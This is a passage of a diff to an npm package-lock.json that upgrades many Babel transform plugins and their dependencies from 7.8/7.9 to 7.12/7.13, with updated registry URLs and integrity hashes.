"sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/plugin-transform-literals": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.8.3.tgz", - "integrity": "sha512-3Tqf8JJ/qB7TeldGl+TT55+uQei9JfYaregDcEAyBZ7akutriFrt6C/wLYIer6OYhleVQvH/ntEhjE/xMmy10A==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.12.13.tgz", + "integrity": "sha512-FW+WPjSR7hiUxMcKqyNjP05tQ2kmBCdpEpZHY1ARm96tGQCCBvXKnpjILtDplUnJ/eHZ0lALLM+d2lMFSpYJrQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-member-expression-literals": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.8.3.tgz", - "integrity": "sha512-3Wk2EXhnw+rP+IDkK6BdtPKsUE5IeZ6QOGrPYvw52NwBStw9V1ZVzxgK6fSKSxqUvH9eQPR3tm3cOq79HlsKYA==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.12.13.tgz", + "integrity": "sha512-kxLkOsg8yir4YeEPHLuO2tXP9R/gTjpuTOjshqSpELUN3ZAg2jfDnKUvzzJxObun38sw3wm4Uu69sX/zA7iRvg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-modules-amd": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.9.6.tgz", - "integrity": "sha512-zoT0kgC3EixAyIAU+9vfaUVKTv9IxBDSabgHoUCBP6FqEJ+iNiN7ip7NBKcYqbfUDfuC2mFCbM7vbu4qJgOnDw==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.13.0.tgz", + "integrity": "sha512-EKy/E2NHhY/6Vw5d1k3rgoobftcNUmp9fGjb9XZwQLtTctsRBOTRO7RHHxfIky1ogMN5BxN7p9uMA3SzPfotMQ==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.9.0", - "@babel/helper-plugin-utils": "^7.8.3", + "@babel/helper-module-transforms": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0", "babel-plugin-dynamic-import-node": "^2.3.3" } }, "@babel/plugin-transform-modules-commonjs": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.9.6.tgz", - "integrity": "sha512-7H25fSlLcn+iYimmsNe3uK1at79IE6SKW9q0/QeEHTMC9MdOZ+4bA+T1VFB5fgOqBWoqlifXRzYD0JPdmIrgSQ==", + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.13.8.tgz", + "integrity": "sha512-9QiOx4MEGglfYZ4XOnU79OHr6vIWUakIj9b4mioN8eQIoEh+pf5p/zEB36JpDFWA12nNMiRf7bfoRvl9Rn79Bw==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.9.0", - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/helper-simple-access": "^7.8.3", + "@babel/helper-module-transforms": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-simple-access": "^7.12.13", "babel-plugin-dynamic-import-node": "^2.3.3" } }, "@babel/plugin-transform-modules-systemjs": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.9.6.tgz", - "integrity": "sha512-NW5XQuW3N2tTHim8e1b7qGy7s0kZ2OH3m5octc49K1SdAKGxYxeIx7hiIz05kS1R2R+hOWcsr1eYwcGhrdHsrg==", + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.13.8.tgz", + "integrity": "sha512-hwqctPYjhM6cWvVIlOIe27jCIBgHCsdH2xCJVAYQm7V5yTMoilbVMi9f6wKg0rpQAOn6ZG4AOyvCqFF/hUh6+A==", "dev": true, "requires": { - "@babel/helper-hoist-variables": "^7.8.3", - "@babel/helper-module-transforms": "^7.9.0", - "@babel/helper-plugin-utils": "^7.8.3", + "@babel/helper-hoist-variables": "^7.13.0", + "@babel/helper-module-transforms": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-validator-identifier": "^7.12.11", "babel-plugin-dynamic-import-node": "^2.3.3" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + } } }, "@babel/plugin-transform-modules-umd": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.9.0.tgz", - "integrity": "sha512-uTWkXkIVtg/JGRSIABdBoMsoIeoHQHPTL0Y2E7xf5Oj7sLqwVsNXOkNk0VJc7vF0IMBsPeikHxFjGe+qmwPtTQ==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.13.0.tgz", + "integrity": "sha512-D/ILzAh6uyvkWjKKyFE/W0FzWwasv6vPTSqPcjxFqn6QpX3u8DjRVliq4F2BamO2Wee/om06Vyy+vPkNrd4wxw==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.9.0", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-module-transforms": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-transform-named-capturing-groups-regex": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.8.3.tgz", - "integrity": "sha512-f+tF/8UVPU86TrCb06JoPWIdDpTNSGGcAtaD9mLP0aYGA0OS0j7j7DHJR0GTFrUZPUU6loZhbsVZgTh0N+Qdnw==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.12.13.tgz", + "integrity": "sha512-Xsm8P2hr5hAxyYblrfACXpQKdQbx4m2df9/ZZSQ8MAhsadw06+jW7s9zsSw6he+mJZXRlVMyEnVktJo4zjk1WA==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.8.3" + "@babel/helper-create-regexp-features-plugin": "^7.12.13" } }, "@babel/plugin-transform-new-target": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.8.3.tgz", - "integrity": "sha512-QuSGysibQpyxexRyui2vca+Cmbljo8bcRckgzYV4kRIsHpVeyeC3JDO63pY+xFZ6bWOBn7pfKZTqV4o/ix9sFw==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.12.13.tgz", + "integrity": "sha512-/KY2hbLxrG5GTQ9zzZSc3xWiOy379pIETEhbtzwZcw9rvuaVV4Fqy7BYGYOWZnaoXIQYbbJ0ziXLa/sKcGCYEQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-object-super": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.8.3.tgz", - "integrity": "sha512-57FXk+gItG/GejofIyLIgBKTas4+pEU47IXKDBWFTxdPd7F80H8zybyAY7UoblVfBhBGs2EKM+bJUu2+iUYPDQ==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.12.13.tgz", + "integrity": "sha512-JzYIcj3XtYspZDV8j9ulnoMPZZnF/Cj0LUxPOjR89BdBVx+zYJI9MdMIlUZjbXDX+6YVeS6I3e8op+qQ3BYBoQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/helper-replace-supers": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13", + "@babel/helper-replace-supers": "^7.12.13" } }, "@babel/plugin-transform-parameters": { - "version": "7.9.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.9.5.tgz", - "integrity": "sha512-0+1FhHnMfj6lIIhVvS4KGQJeuhe1GI//h5uptK4PvLt+BGBxsoUJbd3/IW002yk//6sZPlFgsG1hY6OHLcy6kA==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.13.0.tgz", + "integrity": "sha512-Jt8k/h/mIwE2JFEOb3lURoY5C85ETcYPnbuAJ96zRBzh1XHtQZfs62ChZ6EP22QlC8c7Xqr9q+e1SU5qttwwjw==", "dev": true, "requires": { - "@babel/helper-get-function-arity": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-transform-property-literals": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.8.3.tgz", - "integrity": "sha512-uGiiXAZMqEoQhRWMK17VospMZh5sXWg+dlh2soffpkAl96KAm+WZuJfa6lcELotSRmooLqg0MWdH6UUq85nmmg==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.12.13.tgz", + "integrity": "sha512-nqVigwVan+lR+g8Fj8Exl0UQX2kymtjcWfMOYM1vTYEKujeyv2SkMgazf2qNcK7l4SDiKyTA/nHCPqL4e2zo1A==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-react-display-name": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.8.3.tgz", - "integrity": "sha512-3Jy/PCw8Fe6uBKtEgz3M82ljt+lTg+xJaM4og+eyu83qLT87ZUSckn0wy7r31jflURWLO83TW6Ylf7lyXj3m5A==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.12.13.tgz", + "integrity": "sha512-MprESJzI9O5VnJZrL7gg1MpdqmiFcUv41Jc7SahxYsNP2kDkFqClxxTZq+1Qv4AFCamm+GXMRDQINNn+qrxmiA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-react-jsx": { - "version": "7.9.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.9.4.tgz", - "integrity": "sha512-Mjqf3pZBNLt854CK0C/kRuXAnE6H/bo7xYojP+WGtX8glDGSibcwnsWwhwoSuRg0+EBnxPC1ouVnuetUIlPSAw==", + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.13.12.tgz", + "integrity": "sha512-jcEI2UqIcpCqB5U5DRxIl0tQEProI2gcu+g8VTIqxLO5Iidojb4d77q+fwGseCvd8af/lJ9masp4QWzBXFE2xA==", "dev": true, "requires": { - "@babel/helper-builder-react-jsx": "^7.9.0", - "@babel/helper-builder-react-jsx-experimental": "^7.9.0", - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-jsx": "^7.8.3" + "@babel/helper-annotate-as-pure": "^7.12.13", + "@babel/helper-module-imports": "^7.13.12", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-jsx": "^7.12.13", + "@babel/types": "^7.13.12" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/plugin-transform-react-jsx-development": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.9.0.tgz", - "integrity": "sha512-tK8hWKrQncVvrhvtOiPpKrQjfNX3DtkNLSX4ObuGcpS9p0QrGetKmlySIGR07y48Zft8WVgPakqd/bk46JrMSw==", - "dev": true, - "requires": { - "@babel/helper-builder-react-jsx-experimental": "^7.9.0", - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-jsx": "^7.8.3" - } - }, - "@babel/plugin-transform-react-jsx-self": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.9.0.tgz", - "integrity": "sha512-K2ObbWPKT7KUTAoyjCsFilOkEgMvFG+y0FqOl6Lezd0/13kMkkjHskVsZvblRPj1PHA44PrToaZANrryppzTvQ==", + "version": "7.12.17", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.12.17.tgz", + "integrity": "sha512-BPjYV86SVuOaudFhsJR1zjgxxOhJDt6JHNoD48DxWEIxUCAMjV1ys6DYw4SDYZh0b1QsS2vfIA9t/ZsQGsDOUQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-jsx": "^7.8.3" + "@babel/plugin-transform-react-jsx": "^7.12.17" } }, - "@babel/plugin-transform-react-jsx-source": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.9.0.tgz", - "integrity": "sha512-K6m3LlSnTSfRkM6FcRk8saNEeaeyG5k7AVkBU2bZK3+1zdkSED3qNdsWrUgQBeTVD2Tp3VMmerxVO2yM5iITmw==", + "@babel/plugin-transform-react-pure-annotations": { + "version": "7.12.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.12.1.tgz", + "integrity": "sha512-RqeaHiwZtphSIUZ5I85PEH19LOSzxfuEazoY7/pWASCAIBuATQzpSVD+eT6MebeeZT2F4eSL0u4vw6n4Nm0Mjg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-jsx": "^7.8.3" + "@babel/helper-annotate-as-pure": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" } }, "@babel/plugin-transform-regenerator": { - "version": "7.8.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.8.7.tgz", - "integrity": "sha512-TIg+gAl4Z0a3WmD3mbYSk+J9ZUH6n/Yc57rtKRnlA/7rcCvpekHXe0CMZHP1gYp7/KLe9GHTuIba0vXmls6drA==", + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.13.15.tgz", + "integrity": "sha512-Bk9cOLSz8DiurcMETZ8E2YtIVJbFCPGW28DJWUakmyVWtQSm6Wsf0p4B4BfEr/eL2Nkhe/CICiUiMOCi1TPhuQ==", "dev": true, "requires": { "regenerator-transform": "^0.14.2" } }, "@babel/plugin-transform-reserved-words": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.8.3.tgz", - "integrity": "sha512-mwMxcycN3omKFDjDQUl+8zyMsBfjRFr0Zn/64I41pmjv4NJuqcYlEtezwYtw9TFd9WR1vN5kiM+O0gMZzO6L0A==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.12.13.tgz", + "integrity": "sha512-xhUPzDXxZN1QfiOy/I5tyye+TRz6lA7z6xaT4CLOjPRMVg1ldRf0LHw0TDBpYL4vG78556WuHdyO9oi5UmzZBg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-runtime": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.9.6.tgz", - "integrity": "sha512-qcmiECD0mYOjOIt8YHNsAP1SxPooC/rDmfmiSK9BNY72EitdSc7l44WTEklaWuFtbOEBjNhWWyph/kOImbNJ4w==", + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.13.15.tgz", + "integrity": "sha512-d+ezl76gx6Jal08XngJUkXM4lFXK/5Ikl9Mh4HKDxSfGJXmZ9xG64XT2oivBzfxb/eQ62VfvoMkaCZUKJMVrBA==", "dev": true, "requires": { - "@babel/helper-module-imports": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3", - "resolve": "^1.8.1", - "semver": "^5.5.1" + "@babel/helper-module-imports": "^7.13.12", + "@babel/helper-plugin-utils": "^7.13.0", + "babel-plugin-polyfill-corejs2": "^0.2.0", + "babel-plugin-polyfill-corejs3": "^0.2.0", + "babel-plugin-polyfill-regenerator": "^0.2.0", + "semver": "^6.3.0" + }, + "dependencies": { + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true + } } }, "@babel/plugin-transform-shorthand-properties": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.8.3.tgz", - "integrity": "sha512-I9DI6Odg0JJwxCHzbzW08ggMdCezoWcuQRz3ptdudgwaHxTjxw5HgdFJmZIkIMlRymL6YiZcped4TTCB0JcC8w==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.12.13.tgz", + "integrity": "sha512-xpL49pqPnLtf0tVluuqvzWIgLEhuPpZzvs2yabUHSKRNlN7ScYU7aMlmavOeyXJZKgZKQRBlh8rHbKiJDraTSw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-spread": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.8.3.tgz", - "integrity": "sha512-CkuTU9mbmAoFOI1tklFWYYbzX5qCIZVXPVy0jpXgGwkplCndQAa58s2jr66fTeQnA64bDox0HL4U56CFYoyC7g==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.13.0.tgz", + "integrity": "sha512-V6vkiXijjzYeFmQTr3dBxPtZYLPcUfY34DebOU27jIl2M/Y8Egm52Hw82CSjjPqd54GTlJs5x+CR7HeNr24ckg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1" } }, "@babel/plugin-transform-sticky-regex": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.8.3.tgz", - "integrity": "sha512-9Spq0vGCD5Bb4Z/ZXXSK5wbbLFMG085qd2vhL1JYu1WcQ5bXqZBAYRzU1d+p79GcHs2szYv5pVQCX13QgldaWw==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.12.13.tgz", + "integrity": "sha512-Jc3JSaaWT8+fr7GRvQP02fKDsYk4K/lYwWq38r/UGfaxo89ajud321NH28KRQ7xy1Ybc0VUE5Pz8psjNNDUglg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/helper-regex": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-template-literals": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.8.3.tgz", - "integrity": "sha512-820QBtykIQOLFT8NZOcTRJ1UNuztIELe4p9DCgvj4NK+PwluSJ49we7s9FB1HIGNIYT7wFUJ0ar2QpCDj0escQ==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.13.0.tgz", + "integrity": "sha512-d67umW6nlfmr1iehCcBv69eSUSySk1EsIS8aTDX4Xo9qajAh6mYtcl4kJrBkGXuxZPEgVr7RVfAvNW6YQkd4Mw==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-transform-typeof-symbol": { - "version": "7.8.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.8.4.tgz", - "integrity": "sha512-2QKyfjGdvuNfHsb7qnBBlKclbD4CfshH2KvDabiijLMGXPHJXGxtDzwIF7bQP+T0ysw8fYTtxPafgfs/c1Lrqg==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.12.13.tgz", + "integrity": "sha512-eKv/LmUJpMnu4npgfvs3LiHhJua5fo/CysENxa45YCQXZwKnGCQKAg87bvoqSW1fFT+HA32l03Qxsm8ouTY3ZQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-unicode-escapes": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.12.13.tgz", + "integrity": "sha512-0bHEkdwJ/sN/ikBHfSmOXPypN/beiGqjo+o4/5K+vxEFNPRPdImhviPakMKG4x96l85emoa0Z6cDflsdBusZbw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-unicode-regex": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.8.3.tgz", - "integrity": "sha512-+ufgJjYdmWfSQ+6NS9VGUR2ns8cjJjYbrbi11mZBTaWm+Fui/ncTLFF28Ei1okavY+xkojGr1eJxNsWYeA5aZw==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.12.13.tgz", + "integrity": "sha512-mDRzSNY7/zopwisPZ5kM9XKCfhchqIYwAKRERtEnhYscZB79VRekuRSoYbN0+KVe3y8+q1h6A4svXtP7N+UoCA==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-create-regexp-features-plugin": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/preset-env": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.9.6.tgz", - "integrity": "sha512-0gQJ9RTzO0heXOhzftog+a/WyOuqMrAIugVYxMYf83gh1CQaQDjMtsOpqOwXyDL/5JcWsrCm8l4ju8QC97O7EQ==", - "dev": true, - "requires": { - "@babel/compat-data": "^7.9.6", - "@babel/helper-compilation-targets": "^7.9.6", - "@babel/helper-module-imports": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-proposal-async-generator-functions": "^7.8.3", - "@babel/plugin-proposal-dynamic-import": "^7.8.3", - "@babel/plugin-proposal-json-strings": "^7.8.3", - "@babel/plugin-proposal-nullish-coalescing-operator": "^7.8.3", - "@babel/plugin-proposal-numeric-separator": "^7.8.3", - "@babel/plugin-proposal-object-rest-spread": "^7.9.6", - "@babel/plugin-proposal-optional-catch-binding": "^7.8.3", - "@babel/plugin-proposal-optional-chaining": "^7.9.0", - "@babel/plugin-proposal-unicode-property-regex": "^7.8.3", - "@babel/plugin-syntax-async-generators": "^7.8.0", - "@babel/plugin-syntax-dynamic-import": "^7.8.0", - "@babel/plugin-syntax-json-strings": "^7.8.0", - "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0", - "@babel/plugin-syntax-numeric-separator": "^7.8.0", - "@babel/plugin-syntax-object-rest-spread": "^7.8.0", - "@babel/plugin-syntax-optional-catch-binding": "^7.8.0", - "@babel/plugin-syntax-optional-chaining": "^7.8.0", - "@babel/plugin-syntax-top-level-await": "^7.8.3", - "@babel/plugin-transform-arrow-functions": "^7.8.3", - "@babel/plugin-transform-async-to-generator": "^7.8.3", - "@babel/plugin-transform-block-scoped-functions": "^7.8.3", - "@babel/plugin-transform-block-scoping": "^7.8.3", - "@babel/plugin-transform-classes": "^7.9.5", - "@babel/plugin-transform-computed-properties": "^7.8.3", - "@babel/plugin-transform-destructuring": "^7.9.5", - "@babel/plugin-transform-dotall-regex": "^7.8.3", - "@babel/plugin-transform-duplicate-keys": "^7.8.3", - "@babel/plugin-transform-exponentiation-operator": "^7.8.3", - "@babel/plugin-transform-for-of": "^7.9.0", - "@babel/plugin-transform-function-name": "^7.8.3", - "@babel/plugin-transform-literals": "^7.8.3", - "@babel/plugin-transform-member-expression-literals": "^7.8.3", - "@babel/plugin-transform-modules-amd": "^7.9.6", - "@babel/plugin-transform-modules-commonjs": "^7.9.6", - "@babel/plugin-transform-modules-systemjs": "^7.9.6", - "@babel/plugin-transform-modules-umd": "^7.9.0", - 